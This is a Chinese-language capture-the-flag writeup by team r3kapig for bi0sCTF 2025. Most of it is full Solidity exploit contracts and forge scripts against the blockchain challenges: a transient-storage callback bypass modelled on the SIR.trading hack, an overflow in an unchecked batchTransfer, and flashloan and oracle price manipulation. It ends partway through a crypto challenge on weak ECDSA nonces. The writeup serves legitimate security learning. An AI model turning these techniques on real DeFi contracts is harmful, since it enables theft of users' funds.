bi0sCTF 2025 Writeup by r3kapig

admin 2025年6月15日13:36:50评论94 views字数 133699阅读445分39秒阅读模式
bi0sCTF 2025 Writeup by r3kapig

我们获得了bi0sctf第一名 🥳

ctftime目前暂居世界第一 1️⃣

选取了一些题目整理成writeup和大家分享 🥰





Blockchain


Transient Heist


根据挑战描述和部分合约代码,我们很容易发现可能存在一些与瞬态存储相关的漏洞。经过搜索引擎可以发现SIR.trading 被黑事件,这是一个利用瞬态存储漏洞的黑客事件。


该漏洞的核心在于 swapCallback 函数的回调函数将兑换金额存储在 slot 1 的瞬时存储中,该值也用于检查 msg.sender 是否为 SwapPair。因此,如果我们能够 swap 特定数量的代币,使 slot 1 的值等于恶意合约的地址,那么我们就可以绕过该检查,并调用 swapCallback 函数来设置 collateralDeposited。


但是此版本的挑战仅检查 depositCollateralThroughSwap() 函数中的 _otherToken 参数,因此我们可以创建恶意代币和 SwapPair 来轻松完成该挑战。


Attacker contract:


// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.19;
import"./core/Setup.sol";import"./Killer.sol";import"./core/tokens/Hacker.sol";
contract Attacker {    Hacker public hacker_coin;    IBi0sSwapPair public wethHackPair;
    constructor() payable {}
    function attack(address _setup) external payable {        Setup setup = Setup(_setup);        USDSEngine usdsEngine = setup.usdsEngine();        SafeMoon safeMoon = setup.safeMoon();        WETH weth = setup.weth();        bytes32 FLAG_HASH = keccak256("YOU NEED SOME BUCKS TO GET FLAG");        uint256 targetValue = uint256(FLAG_HASH) + 1;
        setup.setPlayer(address(this));
        Killer killer = new Killer();        uint256 killerAddress = uint160(address(killer));
        hacker_coin = new Hacker(2 * killerAddress);        weth.deposit{value: 1 ether}(address(this));        wethHackPair = IBi0sSwapPair(            setup.bi0sSwapFactory().createPair(                address(weth),                address(hacker_coin)            )        );        hacker_coin.transfer(address(wethHackPair), 2 * killerAddress);        weth.transfer(address(wethHackPair), 1);        wethHackPair.addLiquidity(address(this));
        weth.approve(address(wethHackPair), type(uint256).max);        weth.approve(address(usdsEngine), type(uint256).max);        usdsEngine.depositCollateralThroughSwap(            address(weth),            address(hacker_coin),            1,            0        );        killer.Kill(            address(usdsEngine),            address(this),            address(weth),            killerAddress + targetValue,            targetValue        );        killer.Kill(            address(usdsEngine),            address(this),            address(safeMoon),            killerAddress + targetValue,            targetValue        );        usdsEngine.collateralDeposited(            address(this),            usdsEngine.collateralTokens(0)        );        usdsEngine.collateralDeposited(            address(this),            usdsEngine.collateralTokens(1)        );        setup.isSolved();    }}


Exploit contract:


// SPDX-License-Identifier: MITpragma solidity ^0.8.20;
import {CTFSolverfrom "forge-ctf/CTFSolver.sol";import"./core/Setup.sol";import"./Attacker.sol";
/**CHALLENGE=0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 forge script src/bi0sctf2025/Transient-Heist/Exploit.s.sol:Exploit --rpc-url $ETH_RPC_URL --broadcast -vvvvv */
contract Exploit is CTFSolver {    function solve(address challenge, address player) internal override{        Attacker attacker = new Attacker{value2 ether}();        attacker.attack(challenge);    }}


Killer contract:


// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.19;
import {USDSEnginefrom "./core/USDSEngine.sol";
contract Killer {    function Kill(        address _usdsEngine,        address sender,        address collateralToken,        uint256 amountOut,        uint256 collateralDepositAmount    ) external {        bytes memory data = abi.encode(collateralDepositAmount);        USDSEngine(_usdsEngine).bi0sSwapv1Call(            sender,            collateralToken,            amountOut,            data        );    }}


Transient Heist Revenge


revenge 与原版挑战类似,不同之处在于 depositCollateralThroughSwap() 函数现在会检查 _collateralToken 参数,因此兑换金额存在上限,我们需要暴力破解一个较小的恶意合约地址来满足限制。


使用 ERADICATE2 来生成恶意合约地址,只需先部署 Attacker 合约并使用其地址生成恶意合约地址,然后调用 attack() 函数即可利用该挑战。


Attacker contract:


// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.19;
import"./core/Setup.sol";import"./Killer.sol";import"./core/tokens/Hacker.sol";
contract Attacker {    Hacker hacker_coin;    IBi0sSwapPair safeMoonHackPair;
    constructor() payable {}
    function attack(address _setup, bytes32 salt) external payable {        Setup setup = Setup(_setup);        USDSEngine usdsEngine = setup.usdsEngine();        SafeMoon safeMoon = setup.safeMoon();        WETH weth = setup.weth();        IBi0sSwapPair wethSafeMoonPair = setup.wethSafeMoonPair();        bytes32 FLAG_HASH = keccak256("YOU NEED SOME BUCKS TO GET FLAG");        uint256 targetValue = uint256(FLAG_HASH) + 1;
        setup.setPlayer(address(this));
        address killer;        bytes memory bytecode = type(Killer).creationCode;        assembly {            killer := create2(0, add(bytecode, 0x20), mload(bytecode), salt)        }        uint256 killerAddress = uint160(killer);
        hacker_coin = new Hacker(2 * 1207000603499873710129495113646411976443);        weth.deposit{value: 80000 ether}(address(this));        weth.approve(address(wethSafeMoonPair), type(uint256).max);        wethSafeMoonPair.swap(            address(weth),            weth.balanceOf(address(this)),            address(this),            abi.encodePacked("")        );        safeMoonHackPair = IBi0sSwapPair(            setup.bi0sSwapFactory().createPair(                address(hacker_coin),                address(safeMoon)            )        );        hacker_coin.transfer(            address(safeMoonHackPair),            1207000603499873710129495113646411976443 - killerAddress        );        safeMoon.transfer(            address(safeMoonHackPair),            safeMoon.balanceOf(address(this))        );        safeMoonHackPair.addLiquidity(address(this));        hacker_coin.approve(address(usdsEngine), type(uint256).max);        usdsEngine.depositCollateralThroughSwap(            address(hacker_coin),            address(safeMoon),            killerAddress,            0        );        Killer(killer).Kill(            address(usdsEngine),            address(this),            address(weth),            killerAddress + targetValue,            targetValue        );        Killer(killer).Kill(            address(usdsEngine),            address(this),            address(safeMoon),            killerAddress + targetValue,            targetValue        );        usdsEngine.collateralDeposited(            address(this),            usdsEngine.collateralTokens(0)        );        usdsEngine.collateralDeposited(            address(this),            usdsEngine.collateralTokens(1)        );        setup.isSolved();    }}


Exploit contract:


// SPDX-License-Identifier: MITpragma solidity ^0.8.20;
import {CTFSolverfrom "forge-ctf/CTFSolver.sol";import"./core/Setup.sol";import"./Attacker.sol";
/**using ERADICATE2 to bruteforce create2's salt./ERADICATE2 -A 0x8464135c8F25Da09e49BC8782676a84730C318bC -I 0x6080604052348015600e575f5ffd5b5061030f8061001c5f395ff3fe608060405234801561000f575f5ffd5b5060043610610029575f3560e01c8063da543c731461002d575b5f5ffd5b61004760048036038101906100429190610171565b610049565b005b5f8160405160200161005b91906101f7565b60405160208183030381529060405290508573ffffffffffffffffffffffffffffffffffffffff1663389bc44f868686856040518563ffffffff1660e01b81526004016100ab949392919061028f565b5f604051808303815f87803b1580156100c2575f5ffd5b505af11580156100d4573d5f5f3e3d5ffd5b50505050505050505050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61010d826100e4565b9050919050565b61011d81610103565b8114610127575f5ffd5b50565b5f8135905061013881610114565b92915050565b5f819050919050565b6101508161013e565b811461015a575f5ffd5b50565b5f8135905061016b81610147565b92915050565b5f5f5f5f5f60a0868803121561018a576101896100e0565b5b5f6101978882890161012a565b95505060206101a88882890161012a565b94505060406101b98882890161012a565b93505060606101ca8882890161015d565b92505060806101db8882890161015d565b9150509295509295909350565b6101f18161013e565b82525050565b5f60208201905061020a5f8301846101e8565b92915050565b61021981610103565b82525050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6102618261021f565b61026b8185610229565b935061027b818560208601610239565b61028481610247565b840191505092915050565b5f6080820190506102a25f830187610210565b6102af6020830186610210565b6102bc60408301856101e8565b81810360608301526102ce8184610257565b90509594505050505056fea26469706673582212209a10d1e786162f32ac2219babe3c4cc632ac1dcf45705756052f07dfd6f7987564736f6c634300081c0033 --leading 0
CHALLENGE=0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 forge script src/bi0sctf2025/Transient-Heist-Revenge/Exploit.s.sol:Exploit --rpc-url $ETH_RPC_URL --broadcast -vvvvv */
contract Exploit is CTFSolver {    function solve(address challenge, address player) internal override{        // Attacker attacker = new Attacker{value: 80000 ether}();        Attacker attacker = Attacker(            0x8464135c8F25Da09e49BC8782676a84730C318bC        );        attacker.attack(            challenge,            bytes32(                0x5105163d73bc3b218daef504edaa346cbd28f4cc35099e5f25f08a8c7ef7ff99            )        );    }}


Empty Vessel


本次挑战赛涉及一个 ERC4626 vault 合约,setup 合约会将 100_000 ether INR 存入 vault。我们的目标是使赎回金额低于 75_000 ether INR。


注意到 convertToAssets() 函数使用 totalAssets() 和 totalSupply() 来计算可赎回的资产数量,totalAssets() 返回 vault 的 INR 余额。因此,我们可以在调用 setup.stakeINR() 函数之前将一些 INR 转入 vault,以使 vault 的份额低于 75_000 ether INR。


INR 合约是完全用汇编实现的。经过代码审计,我们不难发现 batchTransfer() 函数并没有进行乘法溢出检查,因此我们可以构造一个恶意的 batchTransfer() 函数调用,该函数的乘法结果非常小,导致乘法溢出,但会转移大量的 INR,然后利用这些 INR 完成漏洞利用。


Exploit contract:


// SPDX-License-Identifier: MITpragma solidity ^0.8.20;
import {CTFSolver} from "forge-ctf/CTFSolver.sol";import"./Setup.sol";
/**CHALLENGE=0x5FbDB2315678afecb367f032d93F642f64180aa3 forge script src/bi0sctf2025/Empty-Vessel/Exploit.s.sol:Exploit --rpc-url $ETH_RPC_URL --broadcast -vvvvv */
contract Exploit is CTFSolver {    function solve(address challenge, address player) internal override{        Setup setup = Setup(challenge);        Stake stake = setup.stake();        INR inr = setup.inr();
        setup.claim();
        address[] memory receivers = new address[](10);        receivers[0] = player;        for (uint256 i = 1; i < receivers.length; i++) {            receivers[i] = address(uint160(1));        }        inr.batchTransfer(            receivers,            11579208923731619542357098500868790785326998466564056403945758400791312963994        );        inr.balanceOf(player);
        inr.approve(address(stake), type(uint256).max);        inr.transfer(address(stake), 100_000 ether);        stake.deposit(2, player);        setup.stakeINR();        setup.solve();        setup.isSolved();    }}


The Time Travellers DEX


不难发现Finance有两个函数:stake 可以按当前价格从 ETH mint出INR;withdraw 可以按当前价格将 INR burn为 ETH。因此,本题题显然是价格操纵。本题中的价格oracle是一个带有累计价格功能的 DEX,结合finance的snapshot功能做oracle,但它显然有漏洞:价格会取自快照后第一笔交易的价格。但本题比较麻烦,快照操作有时间限制(1-2min),而且比较繁琐,可能需要手动操作。


本题还有很多其他限制,需要搞很多trick:DEX 只能swap 6 次;flashloan只能使用一次;withdraw 不能在flashloan中用;当我们想要以当前价格做快照时,必须更新 DEX;flashloan的额度和 DEX 兑换的额度也有限制。


显然,当我们的INR数量更多时,价格操纵攻击会取得更大的放大倍率。所以一定要在第一次还没钱的时候使用唯一一次flashloan。我们可以借入INR,卖出压低价格,然后使用自己的ETH mint INR,再买回来INR拉高价格,最后以高价销毁。我们这样可以获得接近 50000 个 ETH,几乎可以获得bonus 2 了。我们可以从用户账户(有 1ETH)中掏一点,以确保能够拿到bonus。


之后我们可以用自有资金进行两次简单的价格操纵攻击。即低价mint,拉高价格,高价burn,然后还原价格。需要注意的是,我们需要计算使用多少 ETH 来拉盘,以及使用多少 ETH 来mint。可以写一个脚本来找到最佳比例。


最后,如果我们仍然没有足够的钱(我不知道够不够,我前面攻击最开始写错了,所以我写了这一步,最终获得的钱也是远高于题目要求的)。我们可以强制转账ETH给DEX,不进行交换(由于限制6次),但可以拉盘来做价格操纵攻击。尽管我们无法取回转移出去的ETH,但推高价格就足以获得更多的ETH。


本题主要在于各类限制,以及提交的时候需要卡时间比较恶心。整体并不难。


init0 = 50000 * 10**18init1 = 230000 * init0
tga=100000 * 1e18tgb=230000 * 100000 * 1e18classLP:    def__init__(self):        self.balance0 = 0        self.balance1 = 0    defmint(self, amount0, amount1):        self.balance0 += amount0        self.balance1 += amount1    defburn(self, share):        r = (self.balance0 * share, self.balance1 * share)        self.balance0 -= self.balance0 * share        self.balance1 -= self.balance1 * share        return r    defswap(self, intoken, amount):        k = self.balance0 * self.balance1        if intoken == 0:            self.balance0 += amount            ret = self.balance1 - k / self.balance0            self.balance1 = k / self.balance0            return ret        else:            self.balance1 += amount            ret = self.balance0 - k / self.balance1            self.balance0 = k / self.balance1            return ret        defprice(self):        return self.balance1 / self.balance0DEBUG = Falsedefsim1(r0,r1,r2,r3):    lp = LP()    lp.mint(5000000000000000000000011500000000000000000000000000)    bal0 = 49996000000000999915653    bal1 = 0    c0=bal0*r0    c1=bal0*r1    bal0 -= c0+c1    bal1 += lp.price() * c0    if bal1 > init1:        return -1    ce = lp.swap(1, bal1)    bal1 = bal0*lp.price()    if ce+c1 > init0:        return -1    bal1 += lp.swap(0,ce+c1)    bal0 = bal1/lp.price()    bal1 = 0    bal0 += 10000*(10**18)    c0 = bal0 * r2    bal0 -= c0    c1 = bal0 * r3    bal0 -= c1    bal1 = lp.price() * c0    if bal1 > init1:        return -1    ce = lp.swap(1, bal1)    bal1 = bal0 * lp.price()    if ce + c1 > init0:        return -1    bal1 += lp.swap(0, ce + c1)    bal0 = (bal1-tgb) / lp.price()    bal1 = 0    if DEBUG:        print(f"r0: {r0}, r1: {r1}, r2: {r2}, r3: {r3}")        print(lp.balance0/1e18, lp.balance1/1e18)    return bal0defsim2(r0,r1,r2,r3,r4):    lp = LP()    lp.mint(5000000000000000000000011500000000000000000000000000)    bal0 = 49996000000000999915653    bal0 += 10000*(10**18)    bal1 = 0    c0=bal0*r0    bal1 += lp.price() * (bal0 - c0)    if c0 > init0:        return -1    bal1 += lp.swap(0, c0)    c1 = bal1 * r1    bal0 = (bal1 - c1) / lp.price()    if c1 > init1:        return -1    bal0 += lp.swap(1, c1)    bal1 = 0        c2 = bal0 * r2    bal1 += lp.price() * (bal0 - c2)    if c2 > init0:        return -1    bal1 += lp.swap(0, c2)    c3 = bal1 * r3    bal0 = (bal1 - c3) / lp.price()    if c3 > init1:        return -1    bal0 += lp.swap(1, c3)    bal1 = 0    # r4 = 0.2    c4 = bal0 * r4    bal1 += lp.price() * (bal0 - c4)    lp.balance0 += c4    bal0 = (bal1 - tgb) / lp.price()    if DEBUG:        print(f"r0: {r0}, r1: {r1}, r2: {r2}, r3: {r3}")        print(lp.balance0/1e18, lp.balance1/1e18)    return bal0defflsim(r):    lp = LP()    lp.mint(5000000000000000000000011500000000000000000000000000)    bal0 = 12500 * (10**18)    bal1 = 11500000000000000000000000000    c0 = bal0 * r    bal0 -= c0    balx = lp.swap(1, bal1)    bal1 = bal0 * lp.price()    lp.swap(0, balx + c0)    bal0 = bal1 / lp.price()    return bal0print(flsim(0)/1e18)print(flsim(0.001)/1e18)# print(sim(0.2,0.3,0.2,0.2)/1e18)sim = sim2ACCR1 = 20ACCR2 = 20ACCR3 = 20bestv = 0bestpair = None# for i in range(50,60):    # for j in range(1,10):# for i in range(1,100):#     for j in range(1,100):#         r0 = i/100#         r1 = j/100for i inrange(1,ACCR1):    for j inrange(1,ACCR1):        r0 = i/ACCR1        r1 = j/ACCR1        if r0+r1 > 0.9:            break        for ii inrange(1,ACCR2):            for jj inrange(1,ACCR2):                r2 = ii/ACCR2                r3 = jj/ACCR2                if r2+r3 > 0.95:                    break                for kk inrange(1,ACCR3):                    r4 = kk/ACCR3                    res = sim(r0,r1,r2,r3,r4)                    if res > bestv:                        bestv = res                        bestpair = (r0, r1, r2, r3, r4)print(f"Best value: {bestv/1e18} for pair {bestpair[0]}{bestpair[1]}{bestpair[2]}{bestpair[3]}{bestpair[4]}")DEBUG = Trueprint(sim(bestpair[0], bestpair[1], bestpair[2], bestpair[3], bestpair[4]) / 1e18)
//SPDX-License-Identifier:MITpragma solidity ^0.8.20;
import {Script,console} from"forge-std/Script.sol";import"./Deploy.s.sol";import"src/Setup.sol";import"src/Finance.sol";contract bro {    constructor() payable {    }    function calls(address _target, bytes memory datapublic payable {        address payable target = payable(_target);        (bool success, bytes memory returndata) = target.call{value:msg.value}(data);        require(success, "call failed");    }    fallback() external payable {}    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {        return this.onERC721Received.selector;    }}contract Flusher{    DEX public dex;    Finance public finance;    IERC20 public WETH;    IERC20 public INR;    constructor(address _dex, address _finance, address _WETH, address _INR) {        // require(msg.value == 1 ether, "Must send 1 ether");        dex = DEX(_dex);        finance = Finance(_finance);        WETH = IERC20(_WETH);        INR = IERC20(_INR);    }    function init() public {        WETH.transferFrom(msg.sender, address(this), 100 gwei);        WETH.transfer(address(dex), 50 gwei);    }    function flush() public {        WETH.transfer(address(dex), 1 gwei);        dex.sync();    }    function fake() public {        WETH.transfer(address(dex), 1 gwei);        INR.transfer(address(dex), 1 gwei);    }}contract hacker {    Setup public ch;    DEX public dex;    Finance public finance;    IERC20 public WETH;    IERC20 public INR;    Flusher public flusher;    uint ctx;    uint gbal;    constructor(address _ch) payable {        ch = Setup(_ch);        dex = DEX(ch.dex());        finance = Finance(ch.finance());        WETH = IERC20(ch.WETH());        INR = IERC20(ch.INR());    }    function _sqrt(uint x) internal pure returns (uint) {        if (x == 0) return0;        uint z = (x + 1) / 2;        uint y = x;        while (z < y) {            y = z;            z = (x / z + z) / 2;        }        return y;    }    function getBestAmount(uint balance,uint reserve) internal pure returns (uint) {        uint dt=balance*balance+2*balance*reserve+4*reserve*reserve;        uint rt=_sqrt(dt);        uint rv=(balance+rt-2*reserve)/3;        require(rv>0"not enough balance");        require(rv<=balance, "too much balance");        return rv;    }    function sell(IERC20 token, uint amount) internal returns (uint) {        token.transfer(address(dex), amount);        uint am=dex.swap(            address(token),            amount,            0,            address(this)        );        return am;    }    function work1f() public {        uint lpr1=WETH.balanceOf(address(dex));        uint lpr2=INR.balanceOf(address(dex));        console.log("lpr1:", lpr1);        console.log("lpr2:", lpr2);        ch.claimBonus1();        console.log("current balance:", address(this).balance);        finance.flashLoan(            IERC3156FlashBorrower(address(this)),            address(INR),            2_30_000 * 50_000 ether,            ""        );    }    function flush() public {        flusher.flush();    }    function work2() public {        // flusher.flush();        INR.transfer(address(dex), 1 gwei);        dex.sync();        INR.transfer(address(finance), INR.balanceOf(address(this)));        finance.withdraw(address(INR), INR.balanceOf(address(this)));        console.log("balance after flashloan:", address(this).balance);                uint sb=address(this).balance;        finance.stake{value: sb}(address(WETH));        ch.claimBonus2();        WETH.transfer(address(finance), WETH.balanceOf(address(this)));        finance.withdraw(address(WETH), WETH.balanceOf(address(this)));        console.log("final balance:", address(this).balance);    }    function work3() public {        uint myb=address(this).balance-100 gwei;        uint lpb=WETH.balanceOf(address(dex));        uint mnb=getBestAmount(myb, lpb);        if(mnb>50_000 ether)        {            mnb=50_000 ether;        }        // mnb=(2*myb-lpb)/3;        mnb = 44*myb/100;        require(mnb>0"not enough balance");        console.log("mnb:", mnb);                ctx=mnb;        gbal=myb;        finance.stake{value: mnb+100 gwei}(address(WETH));        flusher = new Flusher(address(dex), address(finance), address(WETH), address(INR));        WETH.approve(address(flusher), type(uint256).max);        flusher.init();        // flusher.flush();        finance.stake{value: myb-mnb}(address(INR));    }    function work4() public {        WETH.transfer(address(dex), ctx);        uint am=dex.swap(            address(WETH),            ctx,            0,            address(this)        );        uint om=INR.balanceOf(address(this));        am = INR.balanceOf(address(this))*46/100;        // INR.transfer(address(finance), INR.balanceOf(address(this)));        // finance.withdraw(address(INR), INR.balanceOf(address(this)));        INR.transfer(address(finance), om-am);        finance.withdraw(address(INR), om-am);        INR.transfer(address(dex), am);        uint xb=dex.swap(            address(INR),            am,            0,            address(this)        );        WETH.transfer(address(finance), xb);        finance.withdraw(address(WETH), xb);        uint sb=address(this).balance;        console.log("balance after work4:", sb);    }    function work4m() public {        uint myb=address(this).balance;        uint lpb=WETH.balanceOf(address(dex));        uint mnb=getBestAmount(myb, lpb);        if(mnb>50_000 ether)        {            mnb=50_000 ether;        }        // mnb=(2*myb-lpb)/3;        mnb = 46*myb/100;        require(mnb>0"not enough balance");        console.log("mnb:", mnb);                flusher.flush();        finance.stake{value: myb-mnb}(address(INR));        ctx=mnb;        gbal=myb;        finance.stake{value: mnb}(address(WETH));    }    function work5() public {        WETH.transfer(address(dex), ctx);        uint am=dex.swap(            address(WETH),            ctx,            0,            address(this)        );        uint om=INR.balanceOf(address(this));        am = INR.balanceOf(address(this))*48/100;        // INR.transfer(address(finance), INR.balanceOf(address(this)));        // finance.withdraw(address(INR), INR.balanceOf(address(this)));        INR.transfer(address(finance), om-am);        finance.withdraw(address(INR), om-am);        INR.transfer(address(dex), am);        uint xb=dex.swap(            address(INR),            am,            0,            address(this)        );        WETH.transfer(address(finance), xb);        finance.withdraw(address(WETH), xb);        uint sb=address(this).balance;        console.log("balance after work5-1:", sb);    }    function xmint(uint ethamo) internal returns (uint){        WETH.transfer(address(dex),ethamo);        flusher.fake();        uint lp=dex.mint(address(this));        return lp;    }    function work6() public {        flusher.flush();        uint myb=address(this).balance;        uint lpb=WETH.balanceOf(address(dex));        uint mnb=getBestAmount(myb, lpb);        if(mnb>50_000 ether)        {            mnb=50_000 ether;        }        mnb=myb*20/100;        require(mnb>0"not enough balance");        console.log("mnb:", mnb);                finance.stake{value: myb-mnb}(address(INR));        ctx=mnb;        finance.stake{value: mnb}(address(WETH));    }    function work7() public {        WETH.transfer(address(dex), ctx);        dex.sync();        uint lpr1=WETH.balanceOf(address(dex));        uint lpr2=INR.balanceOf(address(dex));        console.log("lpr1:", lpr1);        console.log("lpr2:", lpr2);        // console.log("xlp:", xlp);        console.log("all lp:", dex.totalSupply());        uint om=INR.balanceOf(address(this))-2_30_000 * 100_000 ether;        // uint om=INR.balanceOf(address(this));        INR.transfer(address(finance), om/2);        finance.withdraw(address(INR), om/2);        uint svb=address(this).balance;        finance.stake{value: svb}(address(WETH));        INR.transfer(address(finance), om/2);        finance.withdraw(address(INR), om/2);        uint xb=WETH.balanceOf(address(this));        console.log("totb:", address(this).balance+xb);        xb = xb - 100_000 ether;        WETH.transfer(address(finance), xb);        finance.withdraw(address(WETH), xb);        uint sb=address(this).balance;        console.log("balance after work7:", sb);        ch.setPlayer(address(this));        ch.solve();    }    function onFlashLoan(address initiator, IERC20 token, uint256 amount, uint256 fee, bytes calldata dataexternal returns (bytes32) {        INR.transfer(address(dex), amount);        uint am=dex.swap(            address(INR),            amount,            0,            address(this)        );        uint wb=address(this).balance;        finance.stake{value: wb}(address(INR));        WETH.transfer(address(dex), am);        dex.swap(            address(WETH),            am,            0,            address(this)        );        console.log("try to repay", INR.balanceOf(address(this)), amount);        INR.approve(msg.sender, type(uint256).max);        return keccak256("ERC3156FlashBorrower.onFlashLoan");    }    receive() external payable {    }}contract Solve is Script {    function run() public {        uint sk=0x05c0c4dcb15c2021d29c294a5ac7365cac00ed176e1c9ce64d24804a8396a7dd;        vm.startBroadcast(sk);        address player=vm.addr(sk);        console.log(player);        Setup ch=Setup(0xAE5034fdA74B102efB660Bd2F15ad34faf168BB8);        // Setup ch=new Setup{value : 2_72_500 ether}();        vm.warp(block.timestamp + 70);        // hacker h=new hacker(address(ch));        hacker h=new hacker{value: 0.2 ether}(address(ch));        // hacker h = hacker(payable(0x6D9C21cf43dB084da8486844A4Aa9fdC54e508cf));        Finance f=Finance(ch.finance());        f.snapshot();        vm.warp(block.timestamp + 10);        vm.sleep(1_000);        h.work1f();        vm.warp(block.timestamp + 60);        vm.sleep(61_000);        f.snapshot();        vm.warp(block.timestamp + 10);        vm.sleep(1_000);        h.work2();        h.work3();        vm.warp(block.timestamp + 60);        vm.sleep(65_000);        f.snapshot();        vm.warp(block.timestamp + 10);        vm.sleep(1_000);        h.work4();        vm.warp(block.timestamp + 60);        vm.sleep(65_000);        f.snapshot();        vm.warp(block.timestamp + 10);        vm.sleep(1_000);        h.work4m();        vm.warp(block.timestamp + 60);        vm.sleep(65_000);        f.snapshot();        vm.warp(block.timestamp + 10);        vm.sleep(1_000);        h.work5();        vm.warp(block.timestamp + 60);        vm.sleep(65_000);        f.snapshot();        vm.warp(block.timestamp + 10);        vm.sleep(1_000);        h.work6();        vm.warp(block.timestamp + 60);        vm.sleep(65_000);        f.snapshot();        vm.warp(block.timestamp + 10);        vm.sleep(1_000);        h.work7();        require(ch.isSolved(), "not solved");        vm.stopBroadcast();    }}


Vastavikamaina Token


注意到题目中的代币可以由Factory以Loan的形式无限Mint。但在转出时,会限制Loan出的代币无法转出(即剩余balance必须大于loan)。不难注意到Factory中有一个addVasthavikamainaLiquidity函数,任何人都可以使用该函数以当前价格增加大量流动性,且钱的来源是虚空Mint。


因此本题非常显然是价格操纵攻击:利用Balancer的flashloan借入大量ETH,买入代币推高价格;调用Factory增加流动性,然后高价卖出。题目中的三个代币我们都做一遍就可以获得足够多的eth解决本题。


//SPDX-License-Identifier:MITpragma solidity ^0.8.20;
import {Script,consolefrom "forge-std/Script.sol";import"./Deploy.s.sol";import"src/core/Setup.sol";import"src/core/Balancer.sol";contract bro {    constructor() payable {    }    function calls(address _target, bytes memory data)public payable {        address payable target = payable(_target);        (bool success, bytes memory returndata) = target.call{value:msg.value}(data);        require(success, "call failed");    }    fallback() external payable {}    function onERC721Received(address, address, uint256, bytes calldata) external returns(bytes4){        returnthis.onERC721Received.selector;    }}contract hacker {    Setup public ch;    VasthavikamainaToken public VSTETH;    WhiteListed public whiteListed;    LamboToken public lamboToken1;    LamboToken public lamboToken2;    LamboToken public lamboToken3;    WETH9 public wETH9;    Balancer public balancer;    IUniswapV2Pair public uniPair1;    IUniswapV2Pair public uniPair2;    IUniswapV2Pair public uniPair3;    Factory public factory;    uint public cstage;    constructor(address _ch) payable {        ch = Setup(_ch);        VSTETH = ch.VSTETH();        whiteListed = ch.whilteListed();        lamboToken1 = ch.lamboToken1();        lamboToken2 = ch.lamboToken2();        lamboToken3 = ch.lamboToken3();        wETH9 = ch.wETH9();        balancer = ch.balancer();        uniPair1 = ch.uniPair1();        uniPair2 = ch.uniPair2();        uniPair3 = ch.uniPair3();        factory = ch.factory();    }    function work(uint st)public{        cstage = st;        uint cb=address(this).balance;        IERC20[] memory tokens = new IERC20[](1);        tokens[0] = IERC20(address(wETH9));        uint256[] memory amounts = new uint256[](1);        amounts[0] = wETH9.balanceOf(address(balancer));        balancer.flashloan(IFlashLoanRecipient(address(this)),            tokens,            amounts,            ""            );                ch.setPlayer(address(this));        console.log("my balance delta is %s"address(this).balance - cb);        // require(ch.isSolved(), "not solved");        require(address(this).balance - cb > 0.01 ether, "not enough balance");    }    function workquote(LamboToken lamboToken, IUniswapV2Pair uniPair) internal{        uint mybalance = address(this).balance;        uint aout = whiteListed.buyQuote{value: mybalance}(address(lamboToken), mybalance, 0);        lamboToken.approve(address(factory), type(uint256).max);        lamboToken.approve(address(whiteListed), type(uint256).max);        factory.addVasthavikamainaLiquidity(address(VSTETH), address(lamboToken), 300 ether, 0);        uint lb=lamboToken.balanceOf(address(this));        console.log("lamboToken balance is %s", lb);        console.log("out is %s", aout);        uint reservelb=lamboToken.balanceOf(address(uniPair));        uint reservevsteth=VSTETH.balanceOf(address(uniPair));        uint sb=reservevsteth*reservelb/(320 ether)-reservelb;        sb = sb * 1003 / 1000// accounting for fees        if( sb > lb) {            sb = lb;        }        console.log("sellQuote amount is %s", sb);        whiteListed.sellQuote(address(lamboToken), sb, 0);        console.log("my balance after sell is %s"address(this).balance);        console.log("delta is %s"address(this).balance - mybalance);    }    function receiveFlashLoan(IERC20[] memory _tokens, uint256[] memory _amounts, uint256[] memory _fees, bytes memory _data) external {        uint tob = _amounts[0]+ _fees[0];        wETH9.withdraw(address(this),wETH9.balanceOf(address(this)));        uint mybalance = address(this).balance;        console.log("my balance is %s", mybalance);        if(cstage==0)        {            workquote(lamboToken1, uniPair1);        }        elseif(cstage==1)        {            workquote(lamboToken2, uniPair2);        }        elseif(cstage==2)        {            workquote(lamboToken3, uniPair3);        }        else        {            revert("Invalid stage");        }        // workquote(lamboToken1, uniPair1);        // workquote(lamboToken2, uniPair2);        // workquote(lamboToken3, uniPair3);        wETH9.deposit{value: tob}(address(this));        wETH9.transfer(msg.sender, tob);    }    receive() external payable {    }}contract Solve is Script {    function run()public{        uint sk=0xfc1b660d8413db55235c4110b216df98e3c28282c450ddac8fdc6b727ad63bb9;        address player=vm.addr(sk);        console.log(player);        Setup ch=Setup(0x1504025D9328cBF43b9BEf4a74CEa4eE8b856568);        // Setup ch=new Setup();        vm.startBroadcast(sk);        uint mybalance=player.balance-0.1 ether;        console.log("my balance is %s", mybalance);        if(mybalance > 10 ether) {            mybalance = 10 ether;        }        hacker h=new hacker{value: mybalance}(address(ch));        h.work(0);        vm.roll(100);        h.work(1);        vm.roll(101);        h.work(2);        require(ch.isSolved(), "not solved");        vm.stopBroadcast();    }}





Crypto


Like PRNGS to Heaven


题目看上去弯弯绕绕的,似乎是有关MT,但是实际上看完所有代码会发现最多能泄露的比特数也不会够预测。


再仔细想的话会发现ECDSA的nonce生成以及私钥d生成都很奇怪:


def full_noncense_gen(self) -> tuple:    k_m1 = self.real_bits(24)    k_m2 = self.real_bits(24    k_m3 = self.real_bits(69    k_m4 = self.real_bits(30
    k_, cycle_1 = self.sec_real_bits(32)    _k, cycle_2 = self.sec_real_bits(32)
    benjamin1, and1, eq1 = self.partial_noncense_gen(321616)    benjamin2, and2, eq2 = self.partial_noncense_gen(32 ,16 ,16)
    const_list = [k_m1, (benjamin1 >> 24 & 0xFF), k_m2, (benjamin1 >> 16 & 0xFF) , k_, (benjamin1 >> 8 & 0xFF), k_m3, (benjamin1 & 0xFF), k_m4, (benjamin2 >> 24 & 0xFFF), _k]    shift_list = [232224200192160152837545330]
    n1 = [and1, eq1]    n2 = [and2, eq2]    cycles = [cycle_1, cycle_2]
    noncense = 0    forconst, shift in zip(const_list, shift_list):        noncense += const << shift    return noncense, n1, n2, cycles   

